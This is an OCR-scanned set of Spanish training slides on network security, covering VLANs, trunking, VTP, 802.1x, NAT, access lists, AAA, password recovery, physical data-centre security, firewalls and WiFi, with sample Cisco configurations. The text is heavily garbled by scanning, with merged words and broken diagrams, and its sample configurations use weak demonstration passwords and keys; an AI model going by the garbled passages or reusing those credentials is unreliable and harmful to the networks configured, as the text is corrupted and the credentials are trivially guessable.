» Una VLAN conforma un dominio de broadcast

105
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i Virtual LAN (VLAN)

Broadcast Domain 1

= |
-—

= Las VLAN y los routers limitan los broadcast en su dominio origen
106
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Asignacion de VLAN

Basado en interface Basado en direccion MAC
—
|
VLAN1
VLANZ2
VLAN3 VLAN1  VLAN2

- La asignacion a una VLAN puede ser estatica dinamic  a
 Se utilizan principalmente las estaticas
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i VLAN estaticas

Routing Function

~z Interconnects VLANS
I \

Network Layer 192.20.21.0 192.20.24.0 192.30.20.0

Data Link Layer Engineering
Broadcast VLAN
Domains ~ 3 DAY N
/,’// ,I'T"\ ,.\’\/ Lo~ ‘\ \\_
Physical La 00 00 =
Human Layer *%%N%*Qm** %* **
d
Floor #1 Floor #2 Floor #3

« Todos los usuarios conectados al mismo interface (media nte hubs) tienen
asignada la msima VLAN
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i Tipos de enlaces

Enlaces de acceso

o o o

* Un enlace de acceso es un enlace gue es
miembro de una unica VLAN
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i Tipos de enlaces

28

# ™ Enlaces de
~ trunk

RV 3

4

"4

==

« Un enlace de trunk es capaz de transportar multiples VLAN
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i Identificacion de trama

ama
. L
* ..
N .
. L] L]
0 . . .
- . " -
. » . . S
L3 o . . ) «

» . .

- . ’, .
e = o Q
. - A - * *

. . ) u . Q
. . . *
. o e o
. . K LS,
. . Q
= . ’0 )
.
> : ) 72: VVLAN1
ansn
/o ! /9
L4

g

*

*

*
*

VLAN1

VLANS

= Desarrollado para comunicaciones entre varios switches
= Pone un indentificador en la cabecera de la trama
= Trabaja a nivel 2 OSI

111
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i Identificacion de trama

Blue

Green \
Fast Ethernet
p—"

Blue

/ ——— Green —

RED VLAN

Red

Green

" Blue

T~

RED VLAN

Packets traversing a shared backbone carry VLAN

identification within the packet header

VLAN ldentification Options:

Cisco ISL
IEEE 802.1Q
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i Inter Switch Link (ISL)

—

Trunk Liny

&9 =

VLAN100 VLAN200 (Port C)
Trunk Link ISL ‘Frame

Legend:

T s 11UNK Links
Frame —%7 VLAN200 (Access Link)
VLAN200 (Port B)

VLAN200 (Port A)

Trunk Link

- |SL anade una cabecera y un trailer a cada trama (3 0 bytes)
« Es propietario de Cisco

» Esta ya en desuso, por la implementacion de IEEE 802 .19
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i IEEE 802.1Q

2-Byte TPID
2-Byte TCI

Solo anade 4 bytes a la trama:

New CRC

= 2-byte tag protocol identifier (TPID)
= A fixed value of 0x8100. This TPID value indicates that the frame carries the 802.1Q/802.1p tag information.

= 2-byte tag control information (TCI)



i Negociacion de trunk

==

BCMSN Domain 1/1 /

/

3/1 3/2

1/1
’1,2

/

2/1

www.francisco-valencia.es

 El protocolo Dynamic Trunk Protocol (DTP) negocia el

establecimiento o0 no de enlaces de trunk
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i Eliminar VLAN de trunks

——

BCMSN Domain L 1

== A\

/2 Which VLANs Should
Be on the Trunk?

» Solo deberian circular las VLAN necesarias en cada trun Kk
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VLAN trunk protocol (VTP)

ISL

——
:—/
—

P o——" ISL
\ VTP comparte atributos de
cada VLAN con todos los
E switches del dominio
ISL \
-

_\

=

= Se establece un dominio de VTP /
= Los servidores de ese dominio son los —E'/ P )

Ique discep] las VLAN que debe haber en =~ —= “| just created VLAN 2"
0s switches

= NO es necesario configurarlas en todos
= Se mantiene la consistencia
= Debe existir password de dominio
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Modos de funcionamiento VTP

Cliente Transparente Cliente
] L ] [ ]

1/
S

Server Mode

Modo servidor = Puede crear o midificar VLAN
Modo cliente = No puede modificar ni crear VLAN
Modo transparente = Crea VLAN localmente, ignora los me  nsajes de los servidores
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i VTP prunning

Port 2

/\/

Port 5

g

C5000 3

/

s

s

C5000 2

44 \ /[ Port1 ;

» Cada switch debe recibir el trafico broadcast, aunque no e xista
ningun puerto en la VLAN en que se produce.

C5000 6
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Green VLAN Broadcast
Traffic Pruned Here

| \/

C5000 3 ’ C5000-2

’ / Port 1 ) ,

C5000 6 C5000-3 CSOOO 1

« VTP prunning bloquea el trafico de broadcast para que no llegue
donde no es necesario

Port 2

120
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i IEEE 802.1x

IEEE 802.1x define un standard para permitir el agc@redes Ethernet y WLAN.

Las estaciones deben arrancar el protocolo Extien&ilihentication Protocol (EAP) para
comunicar con el switch LAN. El switch comprueba cm RADIUS con extension EAP la
autenticidad del cliente y permite o deniega didnadel mismo.

EAP es un protoclo de autenticacion de tokens, Ome Hassword, certificados digitales,
etc, que es encapsulado en una trama Ethernet segadica en la 802.1x

aaa new-model

aaa authentication dotlx default group radius

!

radius-server hostl.1.1.1 auth-port 1812 key ccie-key
!

interface fastethernet 1/1

dotlx port-control auto
P 121
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i InterVLAN routing

El Unico punto de unidn entre las VLAN es el router
Bloguea los broadcast
@ Hara routing por defecto

Puede limitarse con listas de acceso, PBR, etc

Trunk ISL o IEEE802.1q

-’ interface fastethernet 0.1

encapsulation dotlqg 1
ip address 192.168.1.1 255.255.255.0

‘ |
VLAN 1 VLAN 2 '
IP: 192.168.1.2 IP: 192.168.2.2 interface fastethernet 0.2
MASK: 255.255.255.0 MASK: 255.255.255.0 _
GW: 192.168.1.1 GW: 192.168.2.1 encapsulation dotlq 2

ip address 192.168.2.1 255.255.255.0
122
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Policy-based routing (PBR)

Los procesos de routing tratan de encontrar un ecapana localizar el destino, por lo que
siempre se enruta en base a:

-Direccion IP destino que se desea alcanzar

-Analisis de los caminos existentes, para encoptrarejor

PBR es una forma de efectuar el proceso de rousisgruose en el propio trafico. Si el
trafico coincide con determinado patron, se legabé salir del router por un interace
determinado, alcance o no al destino.

Lo normal es emplearlo para enrutar en base almrigezando al trafico, por ejemplo, a
atravesar un sistema de seguridad o de logging el la

123
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i NAT

NAT (Network Address Translation) permite ocultav&rdadera direccion IP de un dispositivo, y
sustituirla virtualmente por otra que se encuestratro.Desde el punto de vista de la seguridad
ofrece dos ventajas importantes:

1- El dispositivo no es alcanzable desde el exteieosu propia red

2- Puede configurarse reverse NAT, para que sdale/jigiero sélo para los puertos
seleccionados.

Traduccion de una direccién:Se traduce la direccion fuente en paquetes saigritedireccidn destino en paquetes entrantes. El

almacenamiento es estatico (Siempre la IP1 sedegalor la IP1")

Traduccion overload: Se traducen todas las direcciones fuente en pagsaientes y la direccion destino en paquetesrgagaSe
modifica el puerto origen, y se almacena la infaida de la traduccién en base a él.

TCP load distribution: La direccién del router (traducida) responde alfoudel servidor (por ejemplo el 80) y los paquébss
traduce por varias direcciones privadas, hacieadond-robin por flujos, y mandandolo a los servidansrnos al mismo puerto. De
este modo, varios servidores internos pueden refzadarga.

Union de redes solapadasSe traducen ambas redes. El router es capaz deejotir las peticiones DNS y traducirlas. 124
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i NAT

Traduccion de un rango por un interface (navegacion  Traduccion estatica (publicacion)

ip nat inside source list 1 interface serial O overload ip nat inside source static tcp 10.10.10.10 80 172.1@Q.1
interface ethernet O interface ethernet O

ip address 10.1.1.10 255.255.255.0 ip address 10.10.10.1 255.255.255.0

ip nat inside ip nat inside
interface serial 0 interface serial O

Ip address 172.16.2.1 255.255.255.0 ip address 172.16.2.1 255.255.255.0

ip nat outside ip nat outside

access-list 1 permit 10.1.1.0 0.0.0.255
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Passwords de administracion

*Es preciso poner una password en cada equipo

line console 0 y en cada acceso del mismo (consola, vty, etcy
logi para modo enable)
ogin *El comando login indica que se ha de pedir
password oned4all pgsiSW?rd-_ . e

i *Si hay login y no password se prohibe el acceso
exec-timeout 1 30 siemp?/e. Jnynep P

eMejor si esta password es diferente para cada

uno de ellos
. ' eMejor aun utilizar sistemas de AAA (RADIUS,

TACACS, etc)

La password es visible al ver la configuracion. Para evitarlo emplear service password-
encription. La visualiza cifrada (MD5 ligero)

Si la password de enable se activa con enable-secret, la encripta en MD5, mas dificil de
descifrar. Al ver la configuracion: T,

' S good,
'hostname Router

enable secret 5 $1$hM3I$.s/DgJ 126
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Password recovery

JExiste un modo de arrancar un router aun cuando no se conoce su password de
acceso. En practicamente todos los dispositivos de redes existe un mecanismo similar

JEsta informacion suele ser publica y de facil acceso.

JEn muchos equipos (incluyendo Cisco) este procedimiento no borra la configuracion
del equipo,y permite acceso de administracion al mismo

JEn caso de un ataque de este tipo (debe ser local al router) los usuarios pueden no
percibir el mismo, y su trafico esta a voluntad del atacante (DNS, Igging, MiM, etc)

JPara evitar el cambio de configuracion, existen sistemas que permiten realizar una
gestion de las configuraciones, comprobando la cargada en el equipo con una
almacenada en un sistema local, y, si son distintas, lanzar una alarma.

La unica forma de solucionar éste y otros ataques en el medio fisico es asegurar la
correcta ubicacidn y control de acceso a los equipos y sistemas adyacentes
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Seguridad fisica de los elementos de red

Cableado estructurado: Todas las rosetas no utilizadas deben ser desconectadas en el panel de
administracion del cableado (parcheo)

JEstos paneles se deben encontrar cercanos a los conmutadores de acceso, para facilitar las tareas de
parcheo.

Deberia encontrarse esta electrdnica en un bastidor metalico, con acceso para disipacion de calor,
cableado, etc, pero cerrado con llave (que no cuelgue de la cerradura) y en el interior de un recinto
cerrado y con un estricto control de acceso.

Este entorno suele ser el empleado para la instalacion del resto de elementos criticos (electrénica de
los operadores de telecomunicaciones, servidores de la zona interna y de la zona desmilitarizada etc) y
suele denominarse Centro de Proceso de Datos o CPD.

JEI acceso al mismo deberia ser exclusivo al administrador. Elementos adicionales son control
electronico de accesos, alarma, etc

Deberia proveerse de sistemas contra incendios, inundaciones, catastrofes, y disponer de planes de
disaster recovery (backup, otro centro redundado, etc) 18
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i Control de acceso TELNET

No todo el mundo, por el mero hecho de tener las passwords de acceso, deberia poder
acceder al sistema.

Una forma de limitar el acceso es mediante el empleo de listas de acceso, que listan las
maquinas con permisos de acceso (en base a direccion IP)

Las listas de acceso access-list 199 permit tcp 1.2.4.0 0.0.0.255 any
permiten identificar el access-list 199 deny tcp any any range 0 65535 log
origen, hacer logging de access-list 199 deny ip any any log
intentos, etc. line con 0

transport input none
En acceso TELNET puede line vty 0 4
forzarse a ser cifrado transport input ssh
mediante SSH. access-class 199 in
Router(config)#line console 0 \
Router(config-line)#exec-timeout 5 30
Router(config)#line vty 04

Router(config-line)#exec-timeout 5 30 @

Router(config)#banner login ‘Acceso
nrohibidn ’



www.francisco-valencia.es

‘L Control de acceso HTTP

HTTP
g? Management
] Station
172.16.41.3

=
RSM143(config)#access-list 1 permit 172.16.41.3
172.16.41.143 RSM143(config)#ip http server
RSM143(config)#ip http access-class 1
RSM143(config)#ip http authentication local

RSM143(config)#username student password cisco

130
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i Listas de acceso

Las listas de acceso definen un perfil de trafico mediante:
IP origen
IP destino
puerto origen
puerto destino

Para cada flujo, definen si el mismo es autorizado (permit) o denegado (deny)

Posteriormente, esta lista de acceso es aplicada a un acceso virtual (VTY) para limitar quien
puede hacer TELNET, se establecen en la comunidad SNMP, acceso HTTP, o se aplican como
de entrada o salida en interfaces (se vera mas adelante)

Las listas de acceso se miran de arriba abajo. Si alguna regla coincide con el trafico,
abandona el analisis, Si alcanza el final, siempre hay un deny any por defecto.

131
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Listas de acceso standard

Destination Source
Address Address

172.16.43.17 172.16.41.3
( 172.16.43.0

Router(config)#access-list 1 permit 172.16.41.3
Router(config)#access-list 1 deny any

router(config)#interface fastethernet 1/0
router(config-if)#ip access-group 1 out

= Use source address only

= Access list range: 1 to 99
132
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Listas de acceso extendida

N[

access-list 104 permit tcp any 172.16.2.0 0.255.255. 255
access-list 104 permit tcp any host 172.16.1.2 eqsmt p
access-list 104 permit udp any eq domain any

access-list 104 permit icmp any any echo

access-list 104 permit icmp any any echo-reply
|

interface gigabit0/0
ip access-group 104 out
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AAA

AAA: Autorizacion, Autenticacion, Accounting

m Mecanismo que ofrece a los sistemas cuatro de los servicios de seguridad.

Existen dos tipos de sistemas AAA:
m TACACS+: Propietario de Cisco, con funcionalidades avanzadas

RADIUS (Remote Authentication Dial-In User Service): Estandar. Mas empleado

m Al sistema al que se pretende acceder, se le configura la direcciéon IP del servidor

RADIUS, y, cuando el cliente trata de autenticarse, envia el usuario y password

m al servidor, esperando que él lo autorice o no.

Encrypts passwords with tacacs-server host 10.1.1.2 < Defines the IP address

version 11.2 / encryption (7). tacacs-server key <key> of the TACACS+ server
| |
= Define list “billy” to use : \ Defines the “encryption”

service password-encryption line con 0

TACACS+ then the : . - key for communicating
! login authentication billy :
e Router enable password e aux 0 with the TACACS+ server
! Define list “bobby” to use login authentication billy\ Uses the authentication
aaa new-model TACACS+ then the linevty0o4 mechanisms listed in
aaa authentication login billy tacacs+ enable local user and password login authentication bobby “billy” —TACACS+ then
aaa authentication login bobby tacacs+ local . length 29 enable password
enable secret 5 $1$hM31$.s/DgJ4TeKdDK... <=  “enable secret” overrides width 92
! the (7) encryption ! Uses the authentication
username bill password 7 030E4E050D5C : end mechanisms listed in
I Define a local user and “bobby” —TACACS+ then

password for “bill” a local user/password
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Remote NAS ALA
User Client Server

CUser)
Data

| RADIUS Accesa-ﬂeque>
@DIUE Access-Challenge |
| RADIUS Acnesa-ﬂaqueb

@mus AccessReject |

OR
@DIUE Access-Accept |
| Accounting-Request [St@
<}hccnun’ti|’g-ﬂe5pnnﬁe |

o
o
o

| Accounting-Request (Stop)

<}hccnun’ti|’g-ﬂe5pnnﬁe |

< Disconnect |

OR

< Session Start |

o
o
o

Disconnect >
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‘L One Time Password

El concepto consiste en que la password de acceso a un sistema sea valida Unicamente para
una vez.

- Se evita que un atacante pueda ver como se introduce la contrasena (o
keyloggers)

- Se evita que una persona que deja de estar autorizada pueda continuar
accediendo

Existen dos soluciones tecnologicas:

LserlD: asmith Userll: asmith é ®
PIN: kzw08 RSA PIN: k08 SWIVEL E>
token code! 345734 Authentication token code: 345734 M AUTHENTICATION \;E’u CAN IDENTIFY WITH

Agent A
. =

b
Authentication
P [anager
RAS, VPN,
S5LWERN, WLAN,
web and more
| oa, Aloarithm | on, Same algorithm
B = "
Ll i Ll
Tirne - Senag same time % gi Same seet
Bt >
ﬁ'u\!‘ ‘iﬂ:‘

136
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One Time Password

RSA SecurlD 51D700

RSA SecurlD 51D800

RSA SecurlD

R5A Securll SD200

RSA SecurlD

EapoooOoOoOoao
+ P

pheehdfdon
Ch0089 s
. ﬂlﬁh”lﬂ'_ﬂ',’ |
Y e - @

A

RSA SecurlD 50520 —

BlackBerry with
RSA SecurlD software token
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i Servicios innecesarios

A aplicar en todas las maquinas de red, servidores, estaciones de trabajo, etc

Todos los puertos no usados deben ser bloqueados
Todos los servicios no usados deben ser detenidos
Todas las aplicaciones, ghosts, daemons, residentes, etc no usados deben ser

no service tcp-small-servers

no service udp-small-servers ™
no service finger

no cdp running (or no cdp enable)

interface ethernet 0/0

ip address 172.1.1.100 255.255.0.0
Otros mecanismos de no ip directed-broadcast (default from 12.0)
seguridad ... no ip unreachables

no ip redirects

no ip proxy-arp

no ip source routing

==
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Seguridad redes LAN

Introduccion y conceptos de seguridad

Ataques en los sistemas TIC

Seguridad en entornos WEB

Ingenieria Social

Practica: Ataques basicos

Seguridad en Redes de Area Local

Practica: Implementacion de seguridad en redes LAN

1. Practica seguridad LAN

8. Seguridad Perimetral

9. Practica: Implementacién de politicas de seguridad Perimetral
10. Infraestructuras de clave publica

11. Introduccion a LDAP

12. Seguridad en el Comercio Electrénico

13. Gestion de la seguridad

14. Plan Director de Seguridad

15. Examen CompTIA Security+




www.francisco-valencia.es

Laboratorio

192.168.1.1
192.168.2.1

&
192.168.1.2 192.168.2.2 192.168.1.3 192.168.1.4 192.168.2.3
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i Laboratorio

J1- Proteger todos los equipos con password de administracion, VTY y HTTP

J2- Desactivar los servicios innecesarios en todos los equipos

13- Configurar todos los interfaces y todos los equipos en la VLAN 1. Comprobar conectividad
J4- Activar Port-Security

J5- Configurar VLAN 2 en switch 1

16- Configurar trunk IEEE 802.1q (los dos enlaces)

17- Configurar VTP. Comprobar que la VLAN 2 se extiende al switch 2

8- Activar routing. Comprobar que la VLAN 1 puede ahora comunicarse con la VLAN 2

J9- Mediante listas de acceso, impedir que una maquina de la VLAN 1 se comunique con una de la
VLAN 2, permitiendo el resto. 141
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Seguridad Perimetral

Introduccion y conceptos de seguridad

Ataques en los sistemas TIC

Seguridad en entornos WEB

Ingenieria Social

Practica: Ataques basicos

Seguridad en Redes de Area Local

Practica: Implementacion de seguridad en redes LAN
Seguridad Perimetral

Seguridad Perimetral fisica

Ubicacion de los sistemas TIC

EIA/TIA 942

Seguridad Perimetral Logica

Firewalls

Proxy

Seguridad en redes WIFI

Redes Privadas Virtuales (VPN)

Sistemas de deteccion y proteccion de intrusos (IDS/IPS)
Honeypots

Control de Contenidos

Anti SPAM

Anti VIRUS

UTM

Perimetro UNO: Seguridad en puesto de trabajo

1.
2.
S
4.
S
6.
7.
8.
9.
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Practica: Implementacion de politicas de seguridad Perimetral
Infraestructuras de clave publica

Seguridad en el Comercio Electrénico

Introduccién a LDAP

Gestion de la seguridad

Plan Director de Seguridad

Examen CompTIA Security+
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i Perimetro de seguridad

sZonas de seguridad: Es necesario definir zonas que
aislen determinados sistemas de usuarios que no
deben tener acceso a la misma. Pueden definirse
cuatro tipos de zonas:
= Internet: Es la red de redes. Insegura por definicion.

« Intranet: Redes privadas administradas por una misma
entidad.

= Extranet: Intranets extendidas a otras redes de confianza
(clientes, Partners, etc).

= DMZ (Zona desmilitarizada): Area para poner servicios
publicos, a los que accederan usuarios no confiables
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i Perimetro de seguridad

o Se entiende como seguridad perimetral aquella que impide el acceso a la zona
defendida por todas las personas ajenas a la mismas. Es el concepto basico de
seguridad

o Asume ciertas condiciones:
o Toda la actividad del sistema defendido se realiza dentro del perimetro protegido
o Existe poca o ninguna interactuacion de ese sistema con el exterior del perimetro

o Las personas que tienen derecho a acceder al sistema se encuentran siempre dentro del
perimetro

o Existe poca conexidn fisica con el exterior, para que sea facil defenderla

a Es "imposible” que alguien autorizado a estar dentro del perimetro pueda causar danos al
mismo, cualquier enemigo de la organizacion es, forzosamente, externo

o Debido a los cambios de estas afirmaciones, el concepto de perimetro evoluciona
constantemente
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i Perimetro de seguridad

: Internet

Corporate LAN
“Trusted Network”

Perieter
Defense
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i Perimetro de seguridad

JLos ataques eran limitados, y con pocas repercusion es:.

JAtaques de denegacién de servicio, principalmente
JSin intenciones econdémicas, solo por la “diversiéon” de los hackers
Las comunicaciones eran lentas y la informaciéon no demasiado valiosa.

JEl impacto de estos ataques para el proceso de negocio era limitado

Y el concepto de ataque estaba limitado a acciones tomadas por personas ajenas a la
organizacion, gque tiene intereses en causarla dafo.

JSi un empleado causaba dafios, no era un ataque, era un “descuido”

JSi un servicio dejaba de funcionar, era debido a una averia, nunca a un ataque
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i Perimetro de seguridad
r3 ) &3 , 45

Perimeter ‘Trusted Network”

Proveedores

Wireless

Defense
)
NV

Ordenadores

con modem
incorporado
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Seguridad perimetral fisica

] Barreras fisicas: El objetivo de poner barreras fisicas es prevenir el acceso a los sistemas de red.
Idealmente, deberia existir al menos tres barreras (entrada al edificio, entrada a CPD y entrada a la sala de
ordenadores). Cada barrera deberia estar protegidas con camaras, alarmas, puertas, etc. Cada barrera
ademas debe ser monitorizada. Algunos centros de alta seguridad tiene instalados “mantrap” en sus
accesos, que consisten en un sistema que solo permite pasar una persona a la vez, que ademas queda
atrapada entre dos puertas hasta que se le autoriza el paso.

] Perimetro de seguridad: El perimetro de seguridad es la primera linea de defensa del modelo
de seguridad. No existen dispositivos de seguridad sin vulnerabilidades, por lo que sera necesario
implantar varios (cerraduras, sistemas de alarma, contactos magnéticos en puertas y ventanas, etc.

] Zonas de seguridad: Una zona de seguridad es una zona del edificio donde los accesos son
individualmente controlados y monitorizados. Puede dividirse el edificio o el entorno en zonas de
seguridad diferenciadas, y cada una de ellas tendra sus propias caracteristicas de seguridad.

] Segmentacion (partitioning): Este proceso permite que la informaciéon sea almacenada en
zonas mas protegidas, aisladas fisicamente de otras (muros, cerramientos, sistemas RF, etc)
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Consideraciones ambientales

) Los sistemas TIC deben estar ubicados en un entorno que sea facil de asegurar, desde el punto de vista de acceso,
pero también debe ser segura desde el puto de vista de condiciones ambiéntales (temperatura, humedad, etc).

1 Por ello, es preciso disponer de control de HVAC (Heating, ventilating, and air conditioning).

Q

La humedad deberia estar en torno al 50% de humedad. Por encima provoca condensacion, y por debajo

alto riesgo de descargas electrostaticas.

a

La temperatura deberia estar en torno a 20 grados centigrados en ambiente

) Este entorno también deberia contar con sistemas de:

ENENENERER RN RN RN RN ENE

Pintura antipolvo

Proteccion contra incendio minima RF-120

Acabados libres de gases haldgenos y humos toxicos y no propagadores de llama
Luminaria estanca, activada por control de presencia y manualmente en cuadro eléctrico
Iluminacion de emergencia

Suelo técnico de 5.000 kg/m2

Doble Canalizacidn (datos, electricidad)

Blindaje para proteccion contra impactos en el exterior

Sistema antivibracion en suelo

Sistema antiinundaciones 8camara bufa, por ejemplo)

etc... 149
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Consideraciones eléctricas

] Energia: Los sistemas TIC son susceptibles a variaciones en la tension de alimentacién, por lo que hay que asegurar
la estabilidad de la misma. A fin de asegurar este suministro continuo y estable pueden instalarse los siguientes

elementos:

]l Surge protectors: Protegen a la instalacidon ante variaciones bruscas y transitorias de alimentacién.

1 Power conditioners: son dispositivos activos que aislan y regulan la entrada de alimentacion eléctrica en un
edificio. Pueden estar compuestos por filtros, medidores, reguladores, etc. puede activar el sistema de

alimentacion de emergencia.

1 Backup Power: Dispositivos que almacenan energia cuando la misma es recibida desde el exterior, vy la
generan cuando ésta falta. Puede ser sistemas de alimentacion ininterrumpida (SAI), que genera la sefal a partir
de corriente almacenada en baterias, o generadores, que generan corriente a partir de un motor diesel.

(1 DCIE (Data Center infraestructure Efficiency): Consumo de los servidores / Consumo total del CPD.
Idealmente debe estar por encima de 0,5

1 Aislamiento electromagnético: Consiste en aislar el perimetro donde se encuentran los sistemas TIC de

emisiones electromagnéticas recibidas desde el exterior o de emitir al exterior sefales procedentes del interior del
recinto. Estas sefales pueden afectar a los sistemas de cableado de datos, o a los propios sistemas TIC. Para ello
pueden instalarse jaulas de Faraday. El objetivo es prevenir las EMI (Electromagnetic interferente) y la RFI (Radio

Frequency Interference).
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Deteccion y extincion incendios

1 Deteccion de incendios: Se utilizan elementos detectores de humo, mediante opacidad del
aire o toxicidad del mismo. Importante incluir VESDA. Las senales van a una central de alarma
que decide la existencia de fuego o no (si es supervisada, puede decidirlo el supervisor). —

] Sistemas de aviso y alarma: Se deben incluir pulsadores de inicio de extincién o alarma,
paro de alarma, carteles luminosos, alarmas sonoras, etc. En caso de incendio, deben abrirse
todos los accesos a centro.

) Extincion de incendios: Puede ser manual o automatica:

] Los sistemas manuales se basan en extintores portatiles, que deberan ser instalados
en base al tipo de fuego que puede suceder en la sala (A: Madera y papel. B: Liquidos
inflamables. C: Eléctrico. D: Metales inflamables). Hay extintores que cubren varios tipos de
fuego (AB, BC, ABC, etc)

] Los sistemas automaticos utilizan detectores para detectar el punto en que se
produce un incendio, y actlan dispersando en la sala agua nebulizada o gas (halén o
dioxido de carbono) que expulsa el oxigeno del ambiente. El halon ya esta en desuso, por lo

dafhino que resulta para el ambiente. ~.
1

- l | i
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Deteccion y extincion incendios

Propiedades NOVEC Halon 1211 Halon 1301 HFC-125 HFC-227 FE-13
Efecto en Agotamiento del Ozono 0 5.1 12 0 0 0
Efecto en el Calentamiento Global 1 1300 6900 3400 3500 12000
Tiempo en la atmosfera (afios) 0,014 11 65 29 33 260
SNAP Sl N/A N/A Si Sl Sl
Margen de seguridad para las personas Medio Medio Medio Alto Alto Muy Alto

] Agua nebulizada: Nada contaminante, inocuo para personas. Inunda la sala con agua pulverizada.
Es mas caro de instalar, aunque mas barato de mantener. Necesita un suelo técnico alto (min. 50 cm).
No apaga fuegos en interior de circuitos, porque tiene menos penetrabilidad.

) Gases halogenados: Variedad en su toxicidad para el medio ambiente. Relativamente seguros para
las personas. Se van prohibiendo paulatinamente por contener halén (dafiino para la capa de ozono,
genera efecto invernadero)

] Gases nobles (Argon, CO2). Inocuos para el medio ambiente. Peligroso para las personas por ser
contaminante (CO2) y por expulsar el oxigeno. Necesidad de gran cantidad de gas para extinguir un
incendio, lo que provoca muy alta presion, que puede dafar la estructura del CPD. Necesarias muchas
bombonas, que ademas son mas grandes. 15



CLASIFICACION CPD'S
(EIA/TIA-942)

TIER CLASIFICATION

Alimentacion de servicios eléctricos duplicados.
Paso de Potencia por encima de 600 V duplicada.
Sistema UPS

Generadores en Standby para carga critica.
Deposito de combustible.

Alimentacion PDU duplicada.

Alimentacion duplicada de la unidad AC.
Alimentacion duplicada para lineas de potencia.
Sistema de refrigeracion redundante N+1.

Torre de agua de refrigeracion redundante.
Falso suelo —Unidades AC- N+25%.

Carga Critica —Sistema de Clmatizacion- N+1.
Automatizacion & Monitorizacion.

Redundancia en cualquier Punto Simple de fallo.

24x7 Supervision de Operadores.
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Evolucion de amenazas

AMENAZAS para todo tipo de Organizaciones
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i Seguridad perimetral

Se basa en la segmentacion de la red
a nivel funcional, y no fisico, e
instalar elementos de seguridad
activa en las fronteras

Algunas zonas son:
Zona de acceso a Internet
Zona desmilitarizada (DMZ)
Granja de servidores
Zona de usuarios
Fijos
WIFI
En movilidad

Es IMPRESCINDIBLE segmentar una
red, tanto a nivel 2 (VLAN) como a
nivel 3 (routing) como a nivel
funcional

155

Conexion con Internet ™



www.francisco-valencia.es

i Firewalling

Los firewalls establecen fronteras en
los perimetros

Permiten o deniegan el trafico en
base a niveles 3 y 4 OSI

Los firewalls actuales permiten
multitud de aplicaciones: ﬂ
Firewall en base a aplicacion

(L7)
VPN
etc

Han evolucionado al concepto de
perimetro uno, con firewalls
personales gestionados
centralizadamente
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i Firewalling

J El firewall es la primera linea de seguridad de una red. Pueden ser dispositivos stand-alone o estar
embebidos en routers o servidores. La mision de un firewall es aislar una red de otra, permitiendo el
flujo exclusivamente de la informacion autorizada. Hay varios tipos de firewall:

] Packet firewall: Bloquea o permite el paso de paquetes basandose en direcciones IP o
aplicaciones (puertos de nivel 4). Este firewall no analiza el contenido de los paquetes, lo que
quiere decir que permitira pasar cualquier trafico si su nivel 3 y 4 estan en la lista de autorizados,
aunque sea trafico malicioso.

J Proxy firewall: Es un dispositivo que actia como intermediario entre una red y el resto. El
proxy analiza el trafico y toma una decision en cuanto a reenviar el trafico o no. Proporciona
mejor seguridad que un packet firewall por incrementar la inteligencia del mismo, ya que puede
analizar la informacion a nivel de aplicacion. De echo, pueden existir proxy firewall dedicados
exclusivamente a determinados protocolos.

] Statefull Inspection Firewall: Mientras que la mayor parte de los dispositivos de
networking y seguridad no almacena informacién de los paquetes que ha reenviado (en cuanto
son reenviados o tirados son olvidados), un statefull inspection firewall almacena informacion
relativa a los canales de comunicacion que se han establecido y paquetes anteriores reenviados,

especialmente UDP e ICMP. De este modo, puede eliminar los ataques relacionados con DoS.
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i Firewalling

Durante tiempo, los firewalls componian el Unico elemento de seguridad existente. En la
actualidad, han dejado de ser suficientes debido a que los ataques suelen estar ubicados en
niveles superiores al nivel 4, entrando a través de protocolos permitidos por los firewalls
(correo electrénico, paginas WEB, exploits...)

Otro grave problema es que los
firewalls son administrados por
personas que obedecen a
necesidades de los usuarios,
abriendo continuos “agujeros en el
firewall que nunca son restaurados.

Web Services DMZ
Microsoft
. ; DNS j§ FTP QHTTP
, ons | Fre Jlurre
WebSphere. SNMP| Telnet

La segmentacion ha hecho que se
pase de un firewall en la entrada a
la red a multiples firewalls
distribuidos por la red de la
empresa (firewalls multi-interface,

HA, etc.) 158
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Stateful Inspection Firewall

DATA PACKETS

http://www.freesurf.com/downloads/Gettysburg

Sélo inspeccionan las
cabeceras — p.e. miran et

sobre, pero no lo que

I Four score and our forefathers brou

ght forth upon this continent a new nation,

contiene en su interior I.w liberty, and dedicated to the proposition that all
[ No escaneado
Packet “headers” (TO, Packet “payload”
FROM, TYPE OF DATA, (data)
etc.)

Por qué los FWs tradicionales no son efectivos contra lo S nuevos ataques

» Solo inspeccionan hasta L4 — Src/Dst IP y Puerto
» Sin posibilidad de Deep Packet Inspection para detectar payloads con ataques

» Malware pasa por puertos “seguros”
» Solo en el perimetro — no puedan defender contra ataques internos
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Deep Packet Inspection

Inspeccionan los contenidos paquete a paquete — pero
permiten pasar complejos ataques distribuidos en mdltiples No Detectado

paquetes.
v

E:' http://www.freesurf.com/downloads/Gettysburg
N

QO
Four score éad our forefathers brou

AIgunas debilidades del IDS tradicional

Analisis de “Mirrored traffic” — no en linea con el trafico
= Solo alertas, sin ninguna proactividad

= Antes de responder a la alerta el ataque se propaga rapidamente
(Slammer, Blaster)

= Bajo rendimiento de sistemas IDS Deep Packet Inspection

2274 dedicated to the proposition that all
w prop
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Content Inspection

1. De Paquetes individuales a Contenido inicial

‘ http://www.freesurf.com/downloads/Gettysburg

| Four score and our forefathers brou W

ght forth upon this continent a new nation,

NPT liberty, and dedicated to the proposition that all

CONTENIDO NO
PERMITIDO—

<, | BAD CONTENT

NASTY THINGS
NASTIER THINGS

,V’

2. Compara con contenidos no permitidos y
listas de ataques
CONFIDENTIAL
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i Servidor Proxy

Permite aislar la red interna del
entorno de Internet.

El proxy se configura por servicios, de
modo que existe web-proxy, ftp-
proxy, etc.

Su funcidn principal es realizar NAT;
si bien puede ofrecer otros servicios:
WEB Caché y otros cachés
Analisis de trafico
Filtrado
Control de contenidos
Antivirus
Anonimato
No repudio

Puede ser transparente o tener IP’s
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i Seguridad WIFI

Los sistemas WIFI tienen una serie de vulnerabilidades diferentes a
los sistemas cableados.

Las sefales de radio pueden ser interceptadas, y existen
determinados mensajes (Como el SSID de la red) que se transmiten
de forma periddica y es posible obtener en base a ellos la password
usada para cifrar.

Ademas, un atacante puede conocer los sistemas que existen en la
red, obteniendo informacion relativa a los mismos.

Protocolo Banda | Velocidad ¢ SEGURIDAD?

1 Mbps
2 Mbps

IEEE 802.11a| 5 GHz | 54 Mbps

IEEE 802.11 | 2,4 GHz
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i Seguridad WIFI

) Wireless Access Points: Dispositivo que permite el acceso a la red a dispositivos moviles (WIFI).
